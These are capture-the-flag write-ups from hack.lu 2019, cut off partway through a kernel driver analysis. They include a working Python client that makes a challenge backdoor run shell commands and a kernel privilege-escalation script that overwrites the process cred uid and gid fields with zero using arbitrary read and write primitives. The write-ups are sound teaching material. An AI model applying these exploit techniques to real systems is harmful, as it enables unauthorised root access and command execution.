PNBNC

Challenge description

A friendly hacktivist dropped us a backdoor on a server owned by a deforestation enterprise. Sadly noone knows how to operate it, she has given us the binaries. Figure it out and obtain the secret documents.

First impression

We are given two binaries, one called bridge and the other backdoor.
Not surprisingly they do what there name implies. The bridge listens on a TCP socket, reads and parses packets and then passes on parts of them over UDP to the backdoor process, in some cases it also reads back a response from the backdoor over UDP. Then the bridge sends a response back to the user over TCP.
But which messages are passed on, what format, and how do we find the flag?

Bridge

When the bridge starts it opens a listening tcp port on 42069, and connects a udp socket to port 1056

sudo netstat -nap | grep -e bridge -e backdoor  
tcp        0      0 0.0.0.0:42069           0.0.0.0:*               LISTEN      22849/./bridge      
udp        0      0 127.0.0.1:35927         127.0.0.1:1056          ESTABLISHED 22849/./bridge      

Then in a loop it reads 0x14 bytes from tcp port, and handles the commands (first dword) given:

commandaction
0x00010000send next received byte to the backdoor over main udp port 1056, read up to 0x1000 bytes of response from udp, and send it back over tcp
0x08000000read 8 port numbers from tcp, create and connect 8 udp sockets to the ports, send character ‘i’ to the ports

Bridge command handling code (partial code)

if ( *(_DWORD *)p_buf == 0x10000 )
  {
    addr.port = 0x2004;                         // port 1056
    if ( sendto(main_udp_fd, p_buf + 4, 1uLL, 0, (const struct sockaddr *)&addr, 0x10u) < 0
      || (amount_received = recvfrom(
                              main_udp_fd,
                              local_buf,
                              0x1000uLL,
                              0,
                              (struct sockaddr *)&addr,
                              &addr_len_or_sendbuf),
          amount_received < 0)
      || send(accepted_tcp_fd, local_buf, amount_received, 0) < 0 )
  }
  else if ( *(_DWORD *)p_buf == 0x8000000 )
  {
    LOBYTE(sendbuf) = 'i';
    p_ports = p_buf + 4;
    p_end = p_buf + 20;
    do
    {
      new_udp_socket = socket(2, 2, 0);         // udp
      *(_QWORD *)&addr.sa_family = 0LL;
      addr.field_8 = 0LL;
      rotated = __ROL2__(*p_ports, 8);
      addr.port = rotated;
      addr.sa_family = 2;
      sendto(new_udp_socket, &sendbuf, 1uLL, 0, (const struct sockaddr *)&addr, 0x10u);
      ++p_ports;
    }
    while ( p_ports !=  p_end );
    send(accepted_tcp_fd, &addr_len_or_sendbuf, 1uLL, 0);
    result = 0LL;
  }

That’s it for the bridge.

Backdoor

When you startup the backdoor process, it creates and connects 8 random udp ports.

sudo netstat -nap | grep -e backdoor -e bridge
tcp        0      0 0.0.0.0:42069           0.0.0.0:*               LISTEN      5470/./bridge       
udp        0      0 127.0.0.1:35927         127.0.0.1:1056          ESTABLISHED 5470/./bridge       
udp        0      0 0.0.0.0:1056            0.0.0.0:*                           8524/./backdoor     
udp        0      0 0.0.0.0:27274           0.0.0.0:*                           8524/./backdoor     
udp        0      0 0.0.0.0:48448           0.0.0.0:*                           8524/./backdoor     
udp        0      0 0.0.0.0:3715            0.0.0.0:*                           8524/./backdoor     
udp        0      0 0.0.0.0:17220           0.0.0.0:*                           8524/./backdoor     
udp        0      0 0.0.0.0:41941           0.0.0.0:*                           8524/./backdoor     
udp        0      0 0.0.0.0:9248            0.0.0.0:*                           8524/./backdoor     
udp        0      0 0.0.0.0:1998            0.0.0.0:*                           8524/./backdoor     
udp        0      0 0.0.0.0:51181           0.0.0.0:*                           8524/./backdoor     

It then listens for commands both on the main udp port 1056, and on all the random ports.

Commands received on random ports

commandaction
iXOR corresponding bit in current character buffer. Each thread/random_port is in charge of toggling one bit.

‘i’ command handling code

void __fastcall struc4::if_i_toggle_command(struc_4 *p_struc4, _BYTE *p_buf, __int64 len)
{
  if ( len > 0 && *p_buf == 'i' )
    p_struc4->command.data.buf[0] ^= 1u;
}

Commands received on main udp port

commandsaction
1commit current character to command buffer
2reset the system, clear command buffer, generate new threads and random ports
4call popen() on string in command buffer
8send list of the eight random ports to bridge, the order corresponds to bits in the current character buffer

Command handling code (partial code)

    byte_to_send = 0xF2u;
    sub_command = *p_buf;
    if ( sub_command & 1 )
    {
        v9 = 0;
        do
        {
          p_struc4_1 = (struc_4 *)p_current_1->p_struc4;
          v9 = (unsigned __int8)p_struc4_1->command.data.buf[0] | 2 * v9 | (v9 >> 7);
          ++p_current_1;
        }
        while ( p_last_1 != p_current_1 );
      }
      *(_BYTE *)(p_struc4->struc_4.command.data.ptr + v14) = v9;
      sendto(p_struc4->struc_4.fd_udp, &byte_to_send, 1uLL, 0, &p_struc4->struc_4.addr, sockaddr_len);
    }
    else if ( sub_command & 2 )
    {
      struc1::reset(&g_struc1);
      sendto(p_struc4->struc_4.fd_udp, &byte_to_send, 1uLL, 0, &p_struc4->struc_4.addr, sockaddr_len_1);
    }
    else if ( sub_command & 4 )
    {
      p_popen_read_stream = popen((const char *)p_struc4->struc_4.command.data.ptr, "r");
      if ( p_popen_read_stream )
      {
        while ( fgets((char *)buf_to_send, 128, p_popen_read_stream) )
        {
           ...
        }
      if ( addr_len && p_struc4->struc_4.udp_port_bound )
        sendto(p_struc4->struc_4.fd_udp, p_buf_1, _basic_string_length, 0, &p_struc4->struc_4.addr, addr_len);
    }
    else if ( sub_command & 8 )
    {
      p_current = g_struc1.p_first;
      p_last = g_struc1.p_last;
      if ( g_struc1.p_first != g_struc1.p_last )
      {
        i = 0LL;
        do
        {
            p_current_struc4 = (struc_4 *)p_current->p_struc4;
            buf_to_send[i] = p_current_struc4->random_port;
            ++i;
            ++p_current;
        }
        while ( p_last != p_current );
      }
      sendto(p_struc4->struc_4.fd_udp, buf_to_send, 0x10uLL, 0, &p_struc4->struc_4.addr, v28);
    }

Connecting the dots

Now that we understand the various commands and sub-commands, we can string them all together in order to read the flag. What we want to do is, to send a shell command string to the backdoor and tell it to execute it using popen:

  1. send reset command (commmand 0x10000, sub 2), to clean internal command buffer.
  2. send get ports command (commmand 0x10000, sub 8), to get list of random ports
  3. for each character in our command string, cat ./flag, set the appropriate bits by toggling them with the XOR command:
    • send character using set char command (0x8000000), by toggling it on with XOR.
    • commit the character using commit char command (commmand 0x10000, sub 8)
    • send same character using set char command (0x8000000), in order to toggle it off with same XOR, so we are ready for next command.
  4. send execute command (commmand 0x10000, sub 4)

The python implementation

#!/usr/bin/env python3

import socket
import struct

UDP_PORT = 1056

# HOST = '127.0.0.1'  # The server's hostname or IP address
# TCP_PORT = 42069        # The port used by the server

HOST = 'pnbnc.forfuture.fluxfingers.net'
TCP_PORT = 11111


def send_and_recv(s, data):
    print("sending data: ", repr(data))
    s.sendall(data)
    data = s.recv(1024)
    print('Received tcp', repr(data))
    return data


with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    print("tcp socket", s)
    s.connect((HOST, TCP_PORT))

    data = struct.pack("<I", 0x10000) + b'\x02'
    print(send_and_recv(s, data))

    data = struct.pack("<I", 0x10000) + b'\x08'
    ports = send_and_recv(s, data)
    ports = struct.unpack("<HHHHHHHH", ports)
    print("ports: ", ports)

    def send_char(char):
        data = struct.pack("<IHHHHHHHH", 0x08000000, *[ports[7-i] if char & (1<<i) else 0 for i in range(8)])
        send_and_recv(s, data)

        data = struct.pack("<I", 0x10000) + b'\x01'
        send_and_recv(s, data)

        data = struct.pack("<IHHHHHHHH", 0x08000000, *[ports[7-i] if char & (1<<i) else 0 for i in range(8)])
        send_and_recv(s, data)

    for char in b"cat ./flag":
        send_char(char)

    data = struct.pack("<I", 0x10000) + b'\x04'
    print(send_and_recv(s, data))

Running the script gives the following output

tcp socket <socket.socket fd=3, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('0.0.0.0', 0)>
[>]  b'\x00\x00\x01\x00\x02'
  [<]  b'\xf2'
[>]  b'\x00\x00\x01\x00\x08'
  [<]  b'\xe8*\x11;\x8b\xf2y)\xdc\x1dh\xc5\xd2\xbb\x0c\xa4'

ports:  (10984, 15121, 62091, 10617, 7644, 50536, 48082, 41996)

[>]  b'\x00\x00\x00\x08\x0c\xa4\xd2\xbb\x00\x00\x00\x00\x00\x00\x8b\xf2\x11;\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x01\x00\x01'  
  [<]  b'\xf2'  
[>]  b'\x00\x00\x00\x08\x0c\xa4\xd2\xbb\x00\x00\x00\x00\x00\x00\x8b\xf2\x11;\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x00\x08\x0c\xa4\x00\x00\x00\x00\x00\x00\x00\x00\x8b\xf2\x11;\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x01\x00\x01'  
  [<]  b'\xf2'  
[>]  b'\x00\x00\x00\x08\x0c\xa4\x00\x00\x00\x00\x00\x00\x00\x00\x8b\xf2\x11;\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x00\x08\x00\x00\x00\x00h\xc5\x00\x00y)\x8b\xf2\x11;\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x01\x00\x01'  
  [<]  b'\xf2'  
[>]  b'\x00\x00\x00\x08\x00\x00\x00\x00h\xc5\x00\x00y)\x8b\xf2\x11;\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8b\xf2\x00\x00\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x01\x00\x01'  
  [<]  b'\xf2'  
[>]  b'\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8b\xf2\x00\x00\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x00\x08\x00\x00\xd2\xbbh\xc5\xdc\x1d\x00\x00\x8b\xf2\x00\x00\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x01\x00\x01'  
  [<]  b'\xf2'  
[>]  b'\x00\x00\x00\x08\x00\x00\xd2\xbbh\xc5\xdc\x1d\x00\x00\x8b\xf2\x00\x00\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x00\x08\x0c\xa4\xd2\xbbh\xc5\xdc\x1d\x00\x00\x8b\xf2\x00\x00\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x01\x00\x01'  
  [<]  b'\xf2'  
[>]  b'\x00\x00\x00\x08\x0c\xa4\xd2\xbbh\xc5\xdc\x1d\x00\x00\x8b\xf2\x00\x00\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x00\x08\x00\x00\xd2\xbbh\xc5\x00\x00\x00\x00\x8b\xf2\x11;\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x01\x00\x01'  
  [<]  b'\xf2'  
[>]  b'\x00\x00\x00\x08\x00\x00\xd2\xbbh\xc5\x00\x00\x00\x00\x8b\xf2\x11;\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x00\x08\x00\x00\x00\x00h\xc5\xdc\x1d\x00\x00\x8b\xf2\x11;\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x01\x00\x01'  
  [<]  b'\xf2'  
[>]  b'\x00\x00\x00\x08\x00\x00\x00\x00h\xc5\xdc\x1d\x00\x00\x8b\xf2\x11;\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x00\x08\x0c\xa4\x00\x00\x00\x00\x00\x00\x00\x00\x8b\xf2\x11;\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x01\x00\x01'  
  [<]  b'\xf2'  
[>]  b'\x00\x00\x00\x08\x0c\xa4\x00\x00\x00\x00\x00\x00\x00\x00\x8b\xf2\x11;\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x00\x08\x0c\xa4\xd2\xbbh\xc5\x00\x00\x00\x00\x8b\xf2\x11;\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x01\x00\x01'  
  [<]  b'\xf2'  
[>]  b'\x00\x00\x00\x08\x0c\xa4\xd2\xbbh\xc5\x00\x00\x00\x00\x8b\xf2\x11;\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x01\x00\x04'  
  [<]  b'flag{Kn0ck_Kn0ck____Wh0sTh3r3}\n'  


received flag: flag{Kn0ck_Kn0ck____Wh0sTh3r3}

Baby Kernel 2

Last year you may have taken your first steps in kernel exploitation. It was not that hard, after all.
This year we will take the second baby step. πŸ™‚

nc babykernel2.forfuture.fluxfingers.net 1337

Playing around

On each connection to the server, we see a kernel boot sequence printout ( we found the kernel version in it).

The output of the kernel bootup, makes it clear that a proprietary driver was installed in the kernel.

Following the boot sequence we get prompted with the following menu:

----- Menu -----

1. Read
2. Write
3. Show me my uid
4. Read file
5. Any hintz?
6. Bye!

Let’s have a look to what we have for the menu πŸ™‚

Trying to get a hint from 5 option : `…The flag file is not readable by your current user

You will need to become root to solve the challenge…`

Trying 4 option to read /flag is obviously not working : Could not open file for reading...

Option 3 returns our uid and gid :

​ uid=1000(user) gid=1000(user) groups=1000(user)

As for options 1 (Read) and 2 (Write), they seem to be where things are getting serious. We will get back to them later.

Looks like we will need to read the kernel to find our uid and write a new uid, root uid

Examining the files

The kernel driver installed was found.

System.map is provided!

the System.map file is a symbol table used by the kernel.

let’s start,

What do read and write do?

in System.map we found linux_banner which points to the Linux version string.

'ffffffff81600120 R linux_banner'

We tried to read this address and we got the Linux version string –> Absolute kernel read primitive

We tried to write to this address and re-read it, write works –> Absolute kernel write primitive

So,

We want to change our user id from the current value 1000 to 0 (root), using our read and write primitives.

The uid and gid are stored in the cred struct in the task_struct struct

in System.map we found current_task which points to the task_struct struct
'ffffffff8183a040 D current_task'

Now, we want to find the pointer to the cred struct in the task_struct struct

it is just before the comm field.

from /include/linux/sched.h

/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu        *cred;

/*
 * executable name, excluding path.
 *
 * - normally initialized setup_new_exec()
 * - access it with [gs]et_task_comm()
 * - lock it with task_lock()
 */
char                comm[TASK_COMM_LEN]; 

The comm field is plain text contain our program name, with the read function we read the task_struct and found it at offset 0x408 contain: “client_kernel_b”

Next, we override the uid and gid in the cred struct, we actually have several ids in cred struct in cred.h we override them all (uid, gid, suid, sgid, euid, egid, fsuid, fsgid) with 0 (root id)

from /include/linux/cred.h

struct cred {
    atomic_t    usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC    0x43736564
#define CRED_MAGIC_DEAD    0x44656144
#endif
    kuid_t      uid;        /* real UID of the task */
    kgid_t      gid;        /* real GID of the task */
    kuid_t      suid;       /* saved UID of the task */
    kgid_t      sgid;       /* saved GID of the task */
    kuid_t      euid;       /* effective UID of the task */
    kgid_t      egid;       /* effective GID of the task */
    kuid_t      fsuid;      /* UID for VFS ops */
    kgid_t      fsgid;      /* GID for VFS ops */

afterwards we just read the flag from /flag

the flag was : flag{nicely_done_this_is_how_a_privesc_can_also_go}

Our solution:

#!/usr/bin/env python3

import pexpect
import re
import struct

p = pexpect.spawn('nc babykernel2.forfuture.fluxfingers.net 1337')

def read_value(addr):
    p.expect('Bye!')
    p.sendline('1')
    p.expect ('wisely')
    p.sendline('%x' % addr)
    p.expect('Menu')
    data = str(p.before)

    m = re.search('level is: ([0-9a-f]+)', data)
    if m:
        return int(m.group(1),16)

    print("_-----ERROR ----\n");
    return None

def write_value(addr, value):
    p.expect('Bye!')
    p.sendline('2')
    p.expect('write to')
    p.sendline('%x' % addr)
    p.expect('value?')
    p.sendline('%x' % value)
    p.expect('again')

def read_file():
    p.expect('Bye!')
    p.sendline('4')
    p.expect('read?')
    p.sendline('/flag')
    print (p.before)
    p.expect('Menu')
    print (p.before)

task_struct = read_value(0xffffffff8183a040)
cred = read_value(task_struct + 0x400)

#f = open("task_struct","wb")
#for i in range(0x0, 0x450, 8):
#    value = read_value(task_struct + i)
#    print ("%x, %x" % (i, value))
#    b = struct.pack("<Q", value)
#    f.write(b)
#f.close()

write_value(cred+4,0)
write_value(cred+12,0)
write_value(cred+20,0)
write_value(cred+28,0)
read_file()

hack.lu CTF 2019 — Shiny Code

We got a video leaked of a new transmission technique working only with lights and colors. The company using it says it is completely secure because of its secret encoding. However, the whistleblower also says that the secret encoding is somehow encoded in the message itself. It uses an old, historical technique based on short and long signals. I have no fucking clue what he is talking about. Perhaps you can help us?

TL;DR

Each of the six segments of the logo is a separate channel on which Morse code is transmitted by the LEDs comprising the segment blinking on and off. Decoding each of the channels reveals the following instructions:

  • THE COLOR CODING IS AS FOLLOWS
  • YELLOW IS NEXT CHARACTER
  • RED IS 01 AND GREEN IS 10
  • CYAN IS END OF STREAM
  • BLUE IS 11 AND VIOLET IS 00
  • GOOD LUCK

Using these instructions, we translate the sequence of colors into a stream of 0s and 1s, which, when decoded as ASCII, reveals the flag:

FLAG{sH1nY_LiGht5}

It really is easy — in hindsight…

How we got there

A bunch of us spent a lot of time looking at this problem on and off. The transmission consists of a ~10 minute movie showing a custom-built board covered in LEDs forming the FluxFingers logo. The LEDs are divided into six groups, or segments, each of which blinks on and off independently, in various colors (all segments have the same color at any point in time).

The problem description mentions that the transmission technique works “only with lights and colors”, and additionally hints at Morse code being used for the encoding (“an old, historical technique based on short and long signals”). However, it is not clear how the multi-dimensional signal being observed (six groups of LEDs, plus color, plus time) maps onto the two-dimensional space (on/off, time) of Morse. The problem description also mentions that the encoding is itself somehow encoded in the transmission. And finally, it also notes that the flag has a non-standard format, using upper-case FLAG{.*} rather than the usual lower-case format, which would seem to hint at a limited character-set.

The following salient characteristics of the signal were observed in the initial analysis:

  • The lighting configuration changes every half-second (we called each such time-slot a “pulse”);
  • The color of all the LEDs changes every three seconds (every six pulses).

Initially we separated the movie into still frames, one for each pulse:

ffmpeg -i public/shiny_code.mp4 -vf fps=2 frames/pulse%04d.png

We observed 1248 pulses. As mentioned, the color changes every six pulses, which means that we had 208 color slots.

We couldn’t decide whether each pulse represented a character (if so, how does the color, which lasts for much longer than a single pulse, fit in?), or whether each color represented a character (if so, there’s an awful lot of information — six pulses of six bytes each, plus the color — used to encode each character). Also, 208 (and certainly 1248) seemed like a lot of characters for encoding a flag. One thought was that maybe the entire alphabet was encoded in the transmission before the flag itself (recall the hint that the encoding itself was encoded in the transmission).

Some ideas which were floated:

  • Maybe it really is the pulses which encode the character, but only one pulse in each color-group is used, with the color acting as a selector for which pulse from within the group to use? (That would make use of both the pulses and the color, while leaving us with the more-manageable number of 208 characters rather than 1248.)
  • The six-segment configuration reminded us of Braille, we tried various ways of fitting the data with that…
  • We looked at various 6-bit ASCII encodings, base64, and such.

But none of these ideas was really prescriptive enough regarding how to go about cracking the message.

So the next phase was to start to apply traditional analysis tools — first and foremost, frequency analysis — to our message. This required transforming the message into a more manageable format — textual rather than visual. This called for some image processing…

We are far from experts in image processing, and had a few false starts in trying to use Python/OpenCV for extracting the information from the images. Firstly, it took us a while to settle on which color-space to work in (do the entire analysis in RGB? extract brightness information from grayscale and separately the color from RGB? Use HSV space for part or all of the analysis?) Another issue which proved challenging was that the LEDs themselves were very saturated when lit, to such a degree that often they appeared white rather than being able to distinguish a color. Conversely, choosing a pixel which is not part of a LED itself proved to be sometimes too dark even when lit (at least, dark enough that choosing a non-dynamic threshold didn’t work very well, and choosing a dynamic threshold was beyond our abilities).

We ultimately settled on dealing with brightness (on/off) separately from color. The brightness information was analyzed using only the R channel of the image (this was a bit of an accident, we actually thought we were in a different color-space; the point is that because the LEDs are so saturated when on, any of the single channels individually would probably do…). We focused on a single LED (the entire square surrounding one LED) and averaged its brightness, and were able to determine a threshold which worked well for distinguishing between on and off.

Regarding the color, we actually decided to put it aside for a while (mainly because it seemed a bit more difficult to extract, and because we were itching to start analyzing the information we had already gotten from the brightness).

Initially we treated each LEDs segment as a single “bit”, and grouped the bits of each pulse arbitrarily into characters. The frequency analysis of the resulting characters initially looked promising: there were two characters which appeared much more frequently than the others (all-0 and all-1), and among the others there were more-frequent and less-frequent characters. However, looking deeper, we were unable to match the histogram to English letter frequencies; the spacing of the characters within the text did not seem to fit (e.g., assuming the most-frequent character is some kind of separator, do the lengths of the resulting “words” make sense?); and searching for repetitions or patterns did not fit with what you would expect from an English text. By this point we had also noticed that every second color was yellow, so we tried repeating these analyses separately on each of the only-yellow and only-non-yellow channels, but within similar results. All of this seemed to indicate that chunking the bits of each pulse into characters was not leading anywhere…

The breakthrough came when one of us noticed that whenever two consecutive pulses each had some “bits” lit, there was always at least one bit which remained lit from the first to the second pulse. This ultimately proved to only be an artifact, but it got us focusing more on the runs of on/off within each channel separately. Once we started focusing on that, we noticed that a given bit was always off for either one, three or seven consecutive pulses. Having already read up on Morse code, the numbers 1, 3 and 7 rang a bell: those are exactly the lengths of the spaces used for separating symbols within a character, characters, or words, respectively. Now we finally realized that each channel had to be looked at independently. From here forward it was mostly clear sailing.

We wrote some code to translate the runs of ones or zeros in each channel into Morse code, and then into English. It turns out that our data was really noisy (due to image processing errors? real errors in the transmission? we’re not sure…), but by writing the code to be a little robust to noise (and thanks to the fact that the message on each stream repeats itself over and over until the end of the stream), we quickly got the message out of each of the channels:

def morsify(channel):
    '''@param channel - a list of 0s and 1s (as integers)
    '''
    morse = []
    current = 0
    count = 0
    for p,c in enumerate(channel):
        if c == current:
            count+=1
        else:
            if current == 0:
                if count == 0:
                    pass # initial
                elif count == 1:
                    pass # symbol spacer
                elif count == 3:
                    morse.append('/')
                elif 5 < count < 9:
                    morse.append(' ')
                else:
                    morse.append('/?/') # raise Exception("0 of length %d at %d" % (count, p))
            else: # current = 1
                if count == 1:
                    morse.append('.')
                elif count == 3:
                    morse.append('-')
                else:
                    morse.append('/?/') # raise Exception("1 of length %d at %d" % (count, p))
            current = c
            count = 1
    return morse

CODE = {'A': '.-',     'B': '-...',   'C': '-.-.', 
        'D': '-..',    'E': '.',      'F': '..-.',
        'G': '--.',    'H': '....',   'I': '..',
        'J': '.---',   'K': '-.-',    'L': '.-..',
        'M': '--',     'N': '-.',     'O': '---',
        'P': '.--.',   'Q': '--.-',   'R': '.-.',
        'S': '...',    'T': '-',      'U': '..-',
        'V': '...-',   'W': '.--',    'X': '-..-',
        'Y': '-.--',   'Z': '--..',

        '0': '-----',  '1': '.----',  '2': '..---',
        '3': '...--',  '4': '....-',  '5': '.....',
        '6': '-....',  '7': '--...',  '8': '---..',
        '9': '----.', '?':'?',
        }

EDOC = {v:k for k,v in CODE.items()}

def morse_decode(morse):
    output = []
    morse = ''.join(morse)
    words = morse.split()
    for w in words:
        chars = w.split('/')
        for c in chars:
            if c:
                if c in EDOC:
                    output.append(EDOC[c])
                else:
                    output.append(c)
        output.append(' ')
    return ''.join(output)

>>> for c in channels:
...     print(morse_decode(morsify(c)))
...

THE C?TLOR COD?ING IS AS F?TLLOWS TS?EE COLOR ?EODING IS A?S FOLLOE?S THE COE 
YELR???MW IS NEXT CHARACTER YELLOW IE?I NEXT CHAE?ACTER YELA?IOW IS NED??? CHARACT 
RED?SS 01 AND T?...-.EEN IS 1M?T RED IS 0E?---- AND G.-...E? IS 10 .-...?D IS 01 E?NDEGREF IE 
C-.--..-? IS END OF I?ETREAM CYA?E IS END OF STREAM CYE?N IS END OF STREAM CY?N IS END O 
BLUE ?S 11 AND VIOLET IS ?O0 BLUE IS 11 AN? VIOLET IS 00 BLUE IS 11 A 
GOO?E LUCK GM?OD LUCK ?NOOD LUK?EK GOOD R???ACK GOOT?E LUCK GM?OD LUCN

Meanwhile, another team member had extracted the color information from the images. So we now already had on hand a textual representation of the colors, and were quickly able to translate that into a series of bits. Translating that series of bits into ASCII resulted in the beginning of the flag, though we again ran into trouble at some point along the way due to some image processing errors. These were, however, fixed by manually viewing the video, resulting in the flag:

FLAG{sH1nY_LiGht5}

Teen Kernel

The challenge description was :

“The baby was cute and made sure to let you know if something is wrong. Now, the baby has grown into a teen, a stubborn one. He does not like to talk very much. Can you display some authority?”

This challenge is the continuation of the Baby kernel challenge; our solution involves knowledge from Baby kernel.

Playing around

Running the run.sh prompts the following menu:

—– Menu —–

  1. Read
  2. Write
  3. Show me my uid
  4. Read flag
  5. Any hintz?
  6. Bye!

Let’s have a look to what we have for the menu πŸ™‚

Trying to get a hint from 5 option is not giving any clue. Trying 4 option is obviously not working either: Could not open file for reading...

Option 3 is returning our uid :

​ uid=1000(user) gid=1000(user) groups=1000(user)

As for options 1 (Read) and 2 (Write), they seem to be where things are getting serious. We will get back to them later.

Examining the files

zcat initramfs.cpio.gz | cpio -idmv to extract the initramfs.

> ls:

bin client_kernel_kid etc flag home init lib proc root sys usr var

Note the flag file that is certainly belonging to root.

Let’s open the init file:

#!/bin/busybox sh
# /bin/sysinfo

...

...

insmod "/lib/modules/$(uname -r)/kernel_kid.ko"
chmod +rw /dev/flux_kid
chmod +x /client_kernel_kid

sleep 2

su user -c /client_kernel_kid

...

Let’s ls the /lib/modules directory to discover the kernel version: 5.3.5.

We see there is a custom kernel driver kernel_kid.ko whose file system anchor is /dev/flux_kid.

We see that the init process resolves to be the client_kernel_kid process run as user user which is exactly what we are seeing when printing our uid:

uid=1000(user) gid=1000(user) groups=1000(user)

Decompiling the client_kernel_kid binary (with ghidra) and getting to the menu function gives the following:

  1 
  2 int menu_function(void)
  3 
  4 {
  5   int user_choice;
  6   ulong flux_fd;
  7 
  8   FUN_00401d8b();
  9   flux_fd._0_4_ = open_flux_driver(PTR_s__dev_flux_kid_004ca100,0);
 10   if ((int)flux_fd == -1) {
 11     output_string("Mh?\n");
 12   }
 13   print_menu();
 14   user_choice = get_user_selection();
 15   switch(user_choice) {
 16   default:
 17     output_string("You are not making any sense...");
 18     close_flux_fd((int)flux_fd);
 19     return 0;
 20   case 1:
 21     handle_read((int)flux_fd);
 22     break;
 23   case 2:
 24     handle_write((int)flux_fd);
 25     break;
 26   case 3:
 27     handle_getuid("id");
 28     break;
 29   case 4:
 30                     /* 4. Read The Flag */
 31     The_Flag_Func();
 32     break;
 33   case 5:
 34     FUN_004020b1();
 35     break;
 36   case 6:
 37     close_flux_fd((int)flux_fd);
 38     output_string("Bye!");
 39     return 0;
 40   }
 41 }

Not surprising, the implementation is opening the /dev/flux_kid driver at line 9 and uses it for reading and writing.

Let’s examine the function handle_read which implements the Read option of the menu :

  1 
  2 void handle_read(int flux_fd)
  3 
  4 {
  5   long lVar1;
  6   ulong offset;
  7   long in_FS_OFFSET;
  8   ulong value;
  9 
 10   lVar1 = *(long *)(in_FS_OFFSET + 0x28);
 11   value = 0xdeadbeefdeadbeef;
 12   output_string("Sigh...\n> ");
 13   offset = get_user_selection();
 14   output_string("I hope this will not suck too much...");
 15   flux_driver_read(flux_fd,offset,&value);
 16   FUN_00409920("Alright, alright: %016lx\n",value);
 17   if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
 18                     /* WARNING: Subroutine does not return */
 19     check_stack_integrity();
 20   }
 21   return;
 22 }

We see that the user is prompted to enter a value, stored in variable offset ; then offset is passed to the function flux_driver_read along with an out parameter address, &value. The value is then printed to the screen. Let’s look at the flux_driver_read function:

  1 /* Added while reversing */ 
  2 struct read_arg_t {
  3     unsigned long offset;
  4     unsigned long *p_user_output_val;
  5 }read_arg_t;
  6 
  7 void flux_driver_read(int flux_fd, ulong offset, ulong *p_out_value)
  8 
  9 {
 10   long lVar1;
 11   long in_FS_OFFSET;
 12   read_arg_t arg;
 13   
 14   lVar1 = *(long *)(in_FS_OFFSET + 0x28);
 15   arg.offset = offset;
 16   arg.p_user_output_val = p_out_value;
 17   invoke_flux_ioctl(flux_fd,0x385,&arg);
 18   if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
 19                     /* WARNING: Subroutine does not return */
 20     check_stack_integrity();
 21   }
 22   return;
 23 } 

This function is basically bundling the offset and the value address into a struct read_arg_t and passes it to invoke_flux_ioctl along with the driver file descriptor and a number, 0x385.

Looking at the assembly of invoke_flux_ioctl:

   int __stdcall invoke_flux_ioctl(int fd, ulong req, ...)

        004501f0 f3 0f 1e fa     ENDBR64
        004501f4 b8 10 00        MOV        EAX,0x10
                 00 00
        004501f9 0f 05           SYSCALL
        004501fb 48 3d 01        CMP        RAX,0xfffff001
                 f0 ff ff
        00450201 73 01           JNC        LAB_00450204
        00450203 c3              RET

We see that 0x10 is stored in eax and the syscall instruction is invoked. 0x10 is __NR_ioctl, so no doubt, the ioctl operation of the driver is invoked here with request number0x385 and the argument structure address.

Now moving to the Write option of the menu, implemented by the handle_write function:

  1 
  2 void handle_write(int flux_fd)
  3 
  4 {
  5   ulong offset;
  6   longlong val;
  7   
  8   output_string("Oh really...?\n> ");
  9   offset = get_user_selection();
 10   if (offset < 0x10000) {
 11     output_string("Sorry, I am not in for that kind of an adventure...");
 12   }
 13   else {
 14     output_string("What is that all about?\n> ");
 15     val = get_user_selection();
 16     output_string("Please no...");
 17     flux_driver_write(flux_fd,offset,val);
 18     output_string("I cannot believe this.");
 19   }
 20   return;
 21 }

Similarly to the handle_read function, the user input is stored in offset . This time, offset has to be higher or equal to 0x10000 to proceed any further. Once we passed this check, the user is prompted again to enter another value, stored in val. Eventually, offset and val are passed as parameters to the function flux_driver_write which invokes the driver with request 0x386 via invoke_flux_ioctl as in the Read option.

  1 
  2 void flux_driver_write(int fd,ulong offset,ulong val)
  3 
  4 {
  5   long lVar1;
  6   long in_FS_OFFSET;
  7   ulong __offset;
  8   
  9   lVar1 = *(long *)(in_FS_OFFSET + 0x28);
 10   __offset = offset;
 11   invoke_flux_ioctl(fd,0x386,&__offset);
 12   if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
 13                     /* WARNING: Subroutine does not return */
 14     check_stack_integrity();
 15   }
 16   return;
 17 }

We see that nothing is done with the val variable which means its value is not important.

The driver

At this stage, ghidra did not do very well at decompiling the driver, so we moved to use IDA.

Looking into the driver we have the following ioctl implementation:

  1 _int64 __fastcall driver_ioctl(__int64 a1, int req, __int64 value)
  2 {
  3   __int64 result; // rax@4
  4 
  5   if ( req == 0x385 )
  6   {
  7     read(value);
  8     result = 0LL;
  9   }
